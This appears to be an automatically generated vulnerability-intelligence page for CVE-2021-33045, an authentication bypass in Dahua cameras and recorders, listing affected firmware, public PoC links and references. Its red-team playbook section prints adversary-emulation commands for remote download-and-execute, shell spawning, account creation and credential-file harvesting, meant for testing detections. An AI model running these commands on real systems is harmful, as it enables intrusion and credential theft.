CVE-2021-33045
Overview
This vulnerability is an authentication bypass affecting Dahua IP cameras, video intercoms, NVR, and XVR devices. The root cause lies in improper validation of identity credentials during the login process, allowing attackers to circumvent authentication by crafting malicious data packets. The flaw resides specifically in the device's login mechanism handling RPC2_Login requests.
Vulnerability Description
The identity authentication bypass vulnerability found in some Dahua products during the login process. Attackers can bypass device identity authentication by constructing malicious data packets.
Impact
An unauthenticated attacker can gain full administrative access to affected Dahua devices, enabling control over device functions and access to sensitive video streams and configurations. No prior credentials or user interaction are required, allowing remote compromise. This can lead to unauthorized surveillance, data exfiltration, and potential lateral movement within a network environment.
Solution
Dahua has released firmware updates addressing this authentication bypass for affected IPC and NVR product lines. Users should apply the latest firmware versions as detailed in Dahua's security advisory at https://www.dahuasecurity.com/support/cybersecurity/details/957. Specific firmware versions and update instructions are provided in the advisory to mitigate this vulnerability effectively.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (19)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Dahuasecurity | Ipc-Hum7xxx Firmware | All |
cpe:2.3:o:dahuasecurity:ipc-hum7xxx_firmware:*:*:*:*:*:*:*:*
|
|
|
Dahuasecurity | Ipc-Hx3xxx Firmware | All |
cpe:2.3:o:dahuasecurity:ipc-hx3xxx_firmware:*:*:*:*:*:*:*:*
|
|
|
Dahuasecurity | Ipc-Hx5xxx Firmware | All |
cpe:2.3:o:dahuasecurity:ipc-hx5xxx_firmware:*:*:*:*:*:*:*:*
|
|
|
Dahuasecurity | Nvr-1xxx Firmware | All |
cpe:2.3:o:dahuasecurity:nvr-1xxx_firmware:*:*:*:*:*:*:*:*
|
|
|
Dahuasecurity | Nvr-2xxx Firmware | All |
cpe:2.3:o:dahuasecurity:nvr-2xxx_firmware:*:*:*:*:*:*:*:*
|
|
|
Dahuasecurity | Nvr-4xxx Firmware | All |
cpe:2.3:o:dahuasecurity:nvr-4xxx_firmware:*:*:*:*:*:*:*:*
|
|
|
Dahuasecurity | Nvr-5xxx Firmware | All |
cpe:2.3:o:dahuasecurity:nvr-5xxx_firmware:*:*:*:*:*:*:*:*
|
|
|
Dahuasecurity | Nvr-6xx Firmware | All |
cpe:2.3:o:dahuasecurity:nvr-6xx_firmware:*:*:*:*:*:*:*:*
|
|
|
Dahuasecurity | Vth-542xh Firmware | All |
cpe:2.3:o:dahuasecurity:vth-542xh_firmware:*:*:*:*:*:*:*:*
|
|
|
Dahuasecurity | Vto-65xxx Firmware | All |
cpe:2.3:o:dahuasecurity:vto-65xxx_firmware:*:*:*:*:*:*:*:*
|
|
|
Dahuasecurity | Vto-75x95x Firmware | All |
cpe:2.3:o:dahuasecurity:vto-75x95x_firmware:*:*:*:*:*:*:*:*
|
|
|
Dahuasecurity | Xvr-4x04 Firmware | N/A |
cpe:2.3:o:dahuasecurity:xvr-4x04_firmware:-:*:*:*:*:*:*:*
|
|
|
Dahuasecurity | Xvr-4x08 Firmware | All |
cpe:2.3:o:dahuasecurity:xvr-4x08_firmware:*:*:*:*:*:*:*:*
|
|
|
Dahuasecurity | Xvr-4x04 Firmware | All |
cpe:2.3:o:dahuasecurity:xvr-4x04_firmware:*:*:*:*:*:*:*:*
|
|
|
Dahuasecurity | Xvr-5x04 Firmware | All |
cpe:2.3:o:dahuasecurity:xvr-5x04_firmware:*:*:*:*:*:*:*:*
|
|
|
Dahuasecurity | Xvr-5x08 Firmware | All |
cpe:2.3:o:dahuasecurity:xvr-5x08_firmware:*:*:*:*:*:*:*:*
|
|
|
Dahuasecurity | Xvr-5x16 Firmware | All |
cpe:2.3:o:dahuasecurity:xvr-5x16_firmware:*:*:*:*:*:*:*:*
|
|
|
Dahuasecurity | Xvr-7x16 Firmware | All |
cpe:2.3:o:dahuasecurity:xvr-7x16_firmware:*:*:*:*:*:*:*:*
|
|
|
Dahuasecurity | Xvr-7x32 Firmware | All |
cpe:2.3:o:dahuasecurity:xvr-7x32_firmware:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
dongpohezui/cve-2021-33045
|
dongpohezui | 9 | 2 | 2021-10-11 | View |
|
lequoca/Camera-Dahua-CVE-2021-33045
|
lequoca | 1 | 0 | 2025-12-22 | View |
Threat Feed
14 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-33045 |
| dahuasecurity.com |
GitHub CVE
x_refsource_MISC
|
https://www.dahuasecurity.com/support/cybersecurity/details/957 |
| seclists.org |
GitHub CVE
mailing-list
x_refsource_FULLDISC
|
http://seclists.org/fulldisclosure/2021/Oct/13 |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/164423/Dahua-Authentication-Bypass.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-33045 |